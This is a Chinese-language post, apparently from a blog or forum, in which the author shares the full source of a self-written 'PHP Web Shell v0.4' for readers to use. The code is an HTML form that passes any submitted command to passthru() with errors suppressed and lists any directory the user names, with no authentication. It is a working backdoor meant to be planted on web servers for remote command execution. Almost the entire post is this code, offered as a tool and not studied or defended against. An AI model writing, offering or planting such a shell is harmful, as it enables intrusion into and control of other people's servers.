以前写过一个没有任何技术含量的PHP CMD Shell，总是觉得功能很弱，并且对一些问题没有处理好，比如浏览目录等，后来深入学习PHP 后，发现了很多有趣的函数个，于是重新简单的编写了一个新的PHP Shell，希望大家喜欢！
<html>
<head>
<title>PHP Web Shell v0.4</title>
<!-- 定义文件样式 -->
<style>
<!--
.input{BORDER-RIGHT: #888888 1px solid; BORDER-TOP: #888888 1px solid; BACKGROUND: #ffffff; BORDER-LEFT: #888888 1px solid; BORDER-BOTTOM: #888888 1px solid; FONT-FAMILY: "Verdana", "Arial"font-color: #ffffff;FONT-SIZE: 9pt;}
.font{FONT-SIZE: 9pt;}
.fonts{FONT-SIZE: 15pt;}
TABLE{FONT-SIZE: 9pt; COLOR: #006666}
A {FONT-SIZE: 9pt; COLOR: #6666cc; TEXT-DECORATION: none}
A:hover {FONT-SIZE: 9pt; COLOR: #ff3333; TEXT-DECORATION: none}
BODY
{ SCROLLBAR-FACE-COLOR: #ffffff;
SCROLLBAR-HIGHLIGHT-COLOR: #6c6c90;
SCROLLBAR-SHADOW-COLOR: #fcfcfc;
SCROLLBAR-3DLIGHT-COLOR: #fcfcfc;
SCROLLBAR-ARROW-COLOR: #240024;
SCROLLBAR-TRACK-COLOR: #fcfcfc;
SCROLLBAR-DARKSHADOW-COLOR: #48486c;
SCROLLBAR-BASE-COLOR: #fcfcfc
}
-->
</STYLE>
</head>
<body bgcolor="#eeeeee" text="#000000">
<center><font size=3 color=red class=fonts><b>PHP Web Shell</b></font> v0.4
<font size=2 color="000000" class=font>适用系统:Win32/Linux/Unix/BSD</font>
<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>"> //获取脚本本身
<font class=font>输入命令 </font><INPUT TYPE="text" NAME="cmd" size=20 class=input>
<INPUT TYPE="submit" value="执行" class=input>
<font class=font>输入目录 </font><INPUT TYPE="text" NAME="dir" size=20 class=input>
<INPUT TYPE="submit" value="浏览" class=input>
</FORM>
</center>
<pre>
<font size=2 color="000000" class=font>
<?php
echo "服务器地址: <a href=\"http://$_SERVER[SERVER_NAME]\">$_SERVER[SERVER_NAME]</a>
"; //显示服务器域名或IP地址
echo "本文件路径: $_SERVER[PATH_TRANSLATED]"; //显示文件所在路径
?>
<?php
if(!empty($cmd)) {
echo "执行 <font color=red>$cmd</font> 命令后的结果:
"; //执行命令后的提示
}
if(!empty($dir)) {
echo "浏览目录 <font color=red>$dir</font> 的结果:
"; //查看目录后的提示
}
?>
<hr size=1>
<?php
if(empty($cmd) && empty($dir)) { //判断有没有输入命令,如果没有则出现错误提示
echo " 请输入你要执行的命令或要浏览的目录!
(请确定系统有相应的命令或目录及相应操作的权限)
";
}
@passthru($cmd); //利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(), popen(),Exec()等
$f = @opendir($dir); //利用opendir()函数来获取目录信息赋值给变量
while($file = @readdir($f)) { //使用readdir()函数循环读取目录信息
echo "$file\n"; //分行显示获取的目录信息
}
?>
</font>
</pre>
</body>
</html>
